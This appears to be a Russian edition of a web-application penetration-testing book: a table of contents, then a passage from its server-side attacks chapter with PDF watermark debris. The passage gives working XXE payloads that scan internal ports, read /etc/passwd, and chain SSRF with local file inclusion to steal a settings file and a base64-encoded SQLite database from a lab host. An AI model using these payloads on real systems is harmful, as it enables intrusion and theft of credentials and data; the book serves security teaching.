- •Отзывы и пожелания
- •Список опечаток
- •Нарушение авторских прав
- •Предисловие
- •Кому адресована эта книга
- •О чем идет речь в книге
- •Как извлечь максимум из книги?
- •Загрузка примеров
- •Загрузка цветных изображений
- •Условные обозначения
- •Атаки на веб-приложения. Введение
- •Правила применения оружия
- •Вопросы конфиденциальности данных
- •Очистка
- •Инструментарий тестировщика
- •Kali Linux
- •Альтернативы Kali Linux
- •Прокси-сервер
- •Burp Suite
- •Zed Attack Proxy
- •Облачная инфраструктура
- •Дополнительные источники
- •Упражнения
- •Резюме
- •Глава 2
- •Эффективное обнаружение
- •Типы тестирования
- •Построение карты сети
- •Masscan
- •hatWeb
- •Nikto
- •CMS-сканеры
- •Эффективная атака методом полного перебора
- •Средства сканирования
- •Постоянное картирование контента
- •Обработка полезной нагрузки
- •«Полиглот»
- •Запутывание (обфускация) кода
- •Дополнительные источники
- •Упражнения
- •Резюме
- •Глава 3
- •Легкая добыча
- •Анализ сети
- •Ищем вход
- •Определение учетных данных
- •Есть способ получше
- •Очистка
- •Дополнительные ресурсы
- •Резюме
- •Глава 4
- •Продвинутые способы атаки с использованием метода полного перебора
- •Распыление подбора пароля
- •Спросим LinkedIn
- •Метаданные
- •Кассетная бомба
- •За семью прокси-серверами
- •ProxyCannon
- •Резюме
- •Глава 5
- •Внедрение файлов
- •Удаленное внедрение файлов
- •Локальное внедрение файлов
- •Внедрение файла для удаленного выполнения кода
- •Резюме
- •Обнаружение и эксплуатация уязвимостей в приложениях с помощью внешних сервисов
- •Распространенный сценарий
- •Командно-контрольный сервер
- •Центр сертификации Let’s Encrypt
- •INetSim
- •Подтверждение
- •Асинхронное извлечение данных
- •Построение выводов на основе анализа данных
- •Резюме
- •Расширение функциональных возможностей Burp Suite
- •Нелегальная аутентификация и злоупотребление учетными записями
- •Швейцарский нож
- •Запутывание кода
- •Collaborator
- •Открытый сервер
- •Выделенный сервер Collaborator
- •Резюме
- •Глава 8
- •Вредоносная сериализация
- •Использование десериализации
- •Атака на пользовательские протоколы
- •Анализ протокола
- •Эксплойт для осуществления атаки
- •Резюме
- •Практические атаки на стороне клиента
- •Правила ограничения домена
- •Совместное использование ресурсов разными источниками
- •Межсайтовый скриптинг
- •Постоянный XSS
- •DOM-модели
- •Межсайтовая подделка запроса
- •BeEF
- •Перехват
- •Атаки с применением методов социальной инженерии
- •Кейлоггер
- •Закрепление в системе
- •Автоматическая эксплуатация
- •Туннелирование трафика
- •Резюме
- •Практические атаки на стороне сервера
- •Внутренние и внешние ссылки
- •Атаки XXE
- •Атака billion laughs
- •Подделка запроса
- •Сканер портов
- •Утечка информации
- •«Слепой» XXE
- •Удаленное выполнение кода
- •Резюме
- •Глава 11
- •Атака на API
- •Протоколы передачи данных
- •SOAP
- •REST
- •Аутентификация с помощью API
- •Базовая аутентификация
- •Ключи API
- •Токены на предъявителя
- •Postman
- •Установка
- •Вышестоящий прокси-сервер
- •Среда выполнения
- •Коллекции
- •Запуск коллекции
- •Факторы атаки
- •Резюме
- •Глава 12
- •Атака на CMS
- •Оценка приложения
- •WPScan
- •sqlmap
- •Droopescan
- •Arachni
- •Взлом кода с помощью бэкдора
- •Закрепление в системе
- •Утечка учетных данных
- •Резюме
- •Глава 13
- •Взлом контейнеров
- •Сценарий уязвимости в Docker
- •Осведомленность о ситуации
- •Взлом контейнера
- •Резюме
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
C |
E |
|
|
|
|||||||
|
|
X |
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
o |
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
Атаки XXE 259 BUY |
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
w Click |
to |
|
|
|
|
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
m |
w Click |
|
|
|
|
|
|
|
m |
|||||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
||||||
|
|
p |
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
успешно интерпретирован парсером как XML благодаря структурному сход- |
|
|
e |
|
|||||||||||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
df |
|
|
n |
|
|||||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
ству XML и HTML.
<html> <body>[content]</body>
</html>
Опрос сервера Collaborator со стороны клиента подтверждает существование этой уязвимости,и теперь мы знаем,что можем каким-то образом влиять на сервер.
Рис.10.8. Клиент Collaborator подтверждает наличие уязвимости для SSRF-атаки
Сканер портов
Зная,чтоестьвозможностьуказатьприложениюналюбойURL-адрес,ипри- ложение обратится к нему,мыможем использоватьэто,чтобы выполнитьгрубое сканирование портов внутренней сети (или любого другого хоста). Можем сканировать не только HTTP-порты. URL-адреса позволяют указать произвольный порт,и хотя он можетпытаться установитьHTTP-соединение,мы попрежнему можем сделать вывод относительно существования SMTP-службы, просто изучив сообщение об ошибке, возникающее при попытке соединения.
Поскольку мы подделываем запрос, который будет поступать от уязвимого приложения,все попытки сканирования портов будут идти из внутренней до-
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
NOW! |
o |
P |
|
|
|
|
|
NOW! |
o |
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
BUY |
|
|
|||||||||
w Click |
to |
BUY 260 Глава 10.Практические атаки на стороне сервера |
w Click |
to |
|
|
|
|
|
|
|||||||||||||
|
|
|
|
|
|
|
m |
|
|
|
|
|
|
|
m |
||||||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
||||||
|
|
p |
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
|
|
веренной системы. Это хорошо с точки зрения анонимности, а в некоторых |
|
|
|
e |
|
|||||||||||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
df |
|
|
n |
|
|||||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
случаях позволяет избежать срабатывания сигнала тревоги.
XML-код, который планируем использовать для нашего сканера портов, будет нацелен на внутренний хост 10.0.5.19 в поисках интересных служб: 8080, 80, 443, 22 и 21.
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE budgetnmap [
<!ELEMENT budgetnmap ANY>
<!ENTITY port0 SYSTEM "http://10.0.5.19:8080/"> <!ENTITY port1 SYSTEM "http://10.0.5.19:80/"> <!ENTITY port2 SYSTEM "http://10.0.5.19:443/"> <!ENTITY port3 SYSTEM "http://10.0.5.19:22/"> <!ENTITY port4 SYSTEM "http://10.0.5.19:21/">
]>
<budgetnmap>
&port0;
&port1;
&port2;
&port3;
&port4;
</budgetnmap>
После загрузки в приложение для синтаксического анализа вредоносный код заставит XML-парсер систематически подключаться к каждому указанному порту, пытаясь извлечь данные для сущностей &portN;.
Рис.10.9. Сканер портов показывает сообщения об ошибках для открытых портов
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
C |
E |
|
|
|
|||||||
|
|
X |
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
|||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
|
o |
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
|
Атаки XXE 261 BUY |
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
w Click |
to |
|
|
|
|
|
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
m |
w Click |
|
|
|
|
|
|
|
m |
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
|||||||
|
|
p |
|
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
e |
Ответсерверанемногозапутан,ноондаетнамдостаточноинформации,что- |
|
|
e |
|
|||||||||||
|
|
|
df |
|
|
n |
|
|
|
|
|
|
|
|
df |
|
|
n |
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
бы увидеть, что порт 80 действительно открыт на внутреннем хосте 10.0.5.19. Парсер смог подключиться к порту, и хотя ему не удалось проанализировать его содержимое, сообщение об ошибке говорит о многом. С другой стороны, сущность &port0; вернула сообщение об ошибке Connection timed out, которое указывает на то,что порт, вероятно, защищен брандмауэром.
Burp Suite имеет удобную функцию, позволяющую нам копировать любой запрос, полученный в виде команды curl. Если хотим повторить эту атаку на другом внутреннем хосте и, возможно, проанализировать ответ для другого инструмента, можем скопировать вредоносный код одним щелчком мыши.
Рис.10.10. Сохраняем запрос Burp в качестве команды curl
Сгенерированная команда curl может быть передана в grep, и мы можем отфильтровать только строки, содержащие "http:", чтобы сделать вывод немного чище.
curl -i -s -k -X $'POST' -H $'Content-Type: application/ x-www-form-urlencoded' --data-binary
$'xml=%3C%3Fxml+version%3D%221.0%22+[...]%3C%2Fbudgetnmap%3E%0D%0A &submit_xml=Parse+XML' $'http://xml.parser.local/xml.php' | grep
"http:"
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
||||
w Click |
to |
BUY 262 Глава 10.Практические атаки на стороне сервера |
||||||||
|
|
|
|
|
|
m |
||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
|
|
e |
|
|
|
|
|
|
<b>Warning</b>: simplexml_load_string(http://10.0.5.19:8080/): |
||||||
|
|
|
|
|
n |
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
failed to open stream: Connection timed out in <b>/var/www/html/xml/xml.php</b> on line <b>4</b><br />
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
[...]
<b>Warning</b>: simplexml_load_string(): http://10.0.5.19:80/:1: parser error : StartTag: invalid element name in <b>/var/www/html/xml/xml.php</b> on line <b>4</b><br />
[...]
<b>Warning</b>: simplexml_load_string(http://10.0.5.19:443/): failed to open stream: Connection timed out in <b>/var/www/html/xml/xml.php</b> on line <b>4</b><br />
[...]
<b>Warning</b>: simplexml_load_string(http://10.0.5.19:22/): failed to open stream: Connection timed out in <b>/var/www/html/xml/xml.php</b> on line <b>4</b><br />
[...]
<b>Warning</b>: simplexml_load_string(http://10.0.5.19:21/): failed to open stream: Connection timed out in <b>/var/www/html/xml/xml.php</b> on line <b>4</b><br />
Здесь можем стать чуть более изощренными, автоматизировав генерацию полезной нагрузки или очистив выходной файл.
Утечка информации
XXE также можно использовать для чтения любого файла на диске, к которому у приложения есть доступ. Конечно, в большинстве случаев более ценные файлы представляют собой исходный код приложения, который является обычной целью для злоумышленников. Помните, что внешние сущности доступны через URL-адрес, а в PHP-файловая система доступна через URLпрефикс file://.
Чтобы прочитать файл /etc/passwd в системе Linux, воспользуемся таким простым кодом:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE xxe [
<!ELEMENT xxe ANY >
<!ENTITY exfil SYSTEM "file:///etc/passwd">
]>
<xxe>&exfil;</xxe>
Результат предсказуем и является хорошей проверкой концепции нашего отчета для клиента.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
C |
E |
|
|
|
|||||||
|
|
X |
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
|||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
|
o |
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
|
Атаки XXE 263 BUY |
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
w Click |
to |
|
|
|
|
|
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
m |
w Click |
|
|
|
|
|
|
|
m |
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
|||||||
|
|
p |
|
|
|
|
|
|
XML-парсер обратится к схеме file://, возьмет содержимое /etc/passwd |
p |
и |
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
e |
|
|
|
e |
|
|||||||||||
|
|
|
df |
|
|
n |
|
|
|
|
|
df |
|
|
n |
|
||||||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
отобразит его на экране.
Рис.10.11. Эксплуатация XXE-уязвимости для получения содержимого /etc/passwd
Как говорилосьранее,естьболее ценные цели,которые следуетрассмотреть в качестве объектов для передачи наружу с помощью данного типа атаки: исходный код приложения, закрытые ключи (закрытые SSH-ключи и закрытые ключи сертификатов), файлы истории командной строки, файлы конфигурации операционной системы или сценарии и многое другое. Если приложение может читать файлы на диске,то и мы в состоянии это делать.
Однако локальные файлы – это не единственное, что может быть затронуто с помощью этого эксплойта. SSRF-атаки, такие как XXE, также могут использоваться для нападения на внутренние приложения, которые недоступны из внешней сети, такие как другие виртуальные локальные сети (VLAN) или интернет.
Внутреннее приложение,работающее на хосте 10.0.5.19,которое мы будем использовать для демонстрационных целей, – это потрясающий проект badguys от Майка Пирната (Mike Pirnat). Код веб-приложения можно скачать на странице https://github. com/mpirnat/lets-be-bad-guys.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
|||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
NOW! |
|
o |
P |
|
|
|
|
|
NOW! |
o |
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
BUY |
|
|
|||||||||
w Click |
to |
BUY 264 Глава 10.Практические атаки на стороне сервера |
w Click |
to |
|
|
|
|
|
|
||||||||||||||
|
|
|
|
|
|
|
|
m |
|
|
|
|
|
|
|
m |
||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
|||||||
|
|
p |
|
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
e |
Рассмотрим сценарий, в котором после дальнейшего изучения сервера, |
|
|
|
e |
|
||||||||||
|
|
|
df |
|
|
n |
|
|
|
|
|
|
|
|
df |
|
|
n |
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
успешно просканированного нами ранее, мы поняли, что на хосте 10.0.5.19 работает приложение, уязвимое для локального включения файлов. Мы не можем получить доступ к нему напрямую из нашего сегмента сети, и нам доступнотолько приложение xml.parser.local.Обычно мы не можем атаковать 10.0.5.19,ноблагодаряпроблеме,связаннойсXXESSRF,можнозаставитьXMLпарсер осуществлять атаку от нашего имени.
Создадим полезную нагрузкудля передачи ее вxml.parser.local,и это заставит его подключиться к нашему целевому внутреннему серверу и извлечь файл настроек из уязвимого приложения с помощью локального включения файлов.
Приложение badguys, работающее на внутреннем хосте 10.0.5.19, уязвимо для локального внедрения файлов в URL-параметре /user-pic, p:
http://10.0.5.19/user-pic?p=[LFI]
Это уязвимое приложение с открытым исходным кодом, и быстрый поиск в GitHub сообщает все, что нам нужно знать о структуре файловых папок. Это относится и к другим фреймворкам и CMS. Сайт на WordPress, уязвимый для атаки с использованием локального внедрения файлов, можно эксплуатировать для получения содержимого файла wp-config.php так же легко.
Мы знаем относительный путь к файлу настроек, потому что мы его проверили и можем использоватьв качестве полезной нагрузкидля эксплуатации с использованием локального внедрения файлов. Приложение badguys хранит свои настройки в файле с именем settings.py, который обычно находится на два каталога выше оттекущего рабочего каталога.
Чтобы получить содержимое этого файла, наш вредоносный код будет выглядеть примерно так:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE xxe [
<!ELEMENT xxe ANY >
<!ENTITY exfil SYSTEM "http://10.0.5.19/ user-pic?p=../../settings.py">
]> <xxe>&exfil;</xxe>
Вместо имени хоста Collaborator попросим XML-сервер связаться с внутренним хостом и вернуть ответ нам. Если все пойдет хорошо, XML-парсер будет эксплуатировать уязвимость внутреннего приложения badguys, работаю щего на хосте 10.0.5.19, предоставляя нам содержимое файла settings.py
(рис. 10.12).
Файл settings.py содержит интересную информацию: учетные данные базы данных и пути к файлам sqlite3. Не помешает записать их, чтобы исполь-
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
C |
E |
|
|
|
|||||||
|
|
X |
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
o |
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
Атаки XXE 265 BUY |
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
w Click |
to |
|
|
|
|
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
m |
w Click |
|
|
|
|
|
|
|
m |
|||||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
||||||
|
|
p |
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
зоватьвпоследствии.Интересующий нас файл–это сама базаданных SQLite 3, |
|
|
e |
|
|||||||||||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
df |
|
|
n |
|
|||||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
расположенная в c:\db\badguys.sqlite3 на внутреннем хосте 10.0.5.19.
Рис.10.12. Использование XXE для эксплуатации уязвимости,связанной с локальным включением файла на внутреннем хосте
Мы можем использовать ту же атаку, связанную с локальным включением файлов,чтобы заполучить и его содержимое.
Есть одна проблема, которая возникает при простом изменении пути p к файлу базы данных:
http://10.0.5.19/user-pic?p=../../../../../../db/badguys.sqlite3
В обычных ситуациях при использованиилокального внедрения файлов это работает просто отлично. Мы пересекаем достаточное число каталогов, чтобы добраться до корневого каталога диска, меняем каталог на db и извлекаем
файл badguys.sqlite3.
Обратите внимание, что в нашем коде содержимое базы данных SQLite 3 будет извлечено и вставлено в тег <xxe> до того, как парсер обработает XMLданные.
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE xxe [
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
||
P |
|
|
|
|
NOW! |
o |
|
||||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
||||
w Click |
to |
BUY 266 Глава 10.Практические атаки на стороне сервера |
|||||||||
|
|
|
|
|
|
m |
|
||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
<!ELEMENT xxe ANY > |
||
|
|
|
|
|
|
|
|
||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
<!ENTITY exfil SYSTEM "http://10.0.5.19/ user-pic?p=../../../../../../db/badguys.sqlite3"> ]>
<xxe>&exfil;</xxe>
Файлы SQLite 3 будут содержать символы, которые у большинства XMLпарсеров вызывают проблемы при обработке, и поэтому ошибки, возникающие в ходе парсинга, помешают нам забрать содержимое.
Если мы запустим наш вредоносный код как есть,то увидим, что, несмотря на то что содержимое базы данных было извлечено, приложение не вернуло его, потому что оно попыталось проанализировать их как часть тега <xxe>. Двоичный формат файла SQLite 3 не совсем подходитдля XML.
Рис.10.13. В ходе XXE-атаки не удалось вернуть содержимое базы данных
Чтобы обойти эту проблему, в идеале нам нужно, чтобы XML-парсер кодировал данные, которые он извлекает из уязвимого внутреннего приложения, прежде чем вставить в тег <xxe> для обработки.
XML-парсер написан на PHP и, следовательно, имеет доступ к различным преобразовывающим фильтрам,которые можно применять к потоковым дан-
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
C |
E |
|
|
|
|||||||
|
|
X |
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
o |
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
Атаки XXE 267 BUY |
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
w Click |
to |
|
|
|
|
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
m |
w Click |
|
|
|
|
|
|
|
m |
|||||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
||||||
|
|
p |
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
ным,таким как ресурс,извлеченный из URL-адреса.Доступ к фильтрам можно |
|
|
e |
|
|||||||||||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
df |
|
|
n |
|
|||||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
получить через php://, как показано ниже:
php://filter/convert.base64-encode/resource=[URL]
Один из доступных преобразовывающих фильтров – base64-encode, он будет полезен в нашем случае.
В документации к PHP показаны все доступные фильтры на стра-
нице http://php.net/manual/en/filters.php. Данные могут быть преобразованы,зашифрованы или сжаты на лету.
Для шифрования содержимого базы данных SQLite 3 в Base-64 нужно подделать запрос к следующему идентификатору ресурса.
php://filter/convert.base64-encode/resource=http://10.0.5.19/ user-pic?p=../../../../../../db/badguys.sqlite3
Фильтр convert.base64-encode применяется к удаленному ресурсу, в котором находится необходимое нам содержимое базы данных. Возвращаемое значение будет представлять собой длинную строку в формате Base64 и больше не должно вызывать никаких ошибок.
Рис.10.14. Повторение атаки с использованием модификации PHP-фильтра в кодировке Base64
Теперь можно запустить этот ответ через CyberChef с возможностью сохранения декодированных данных в файл.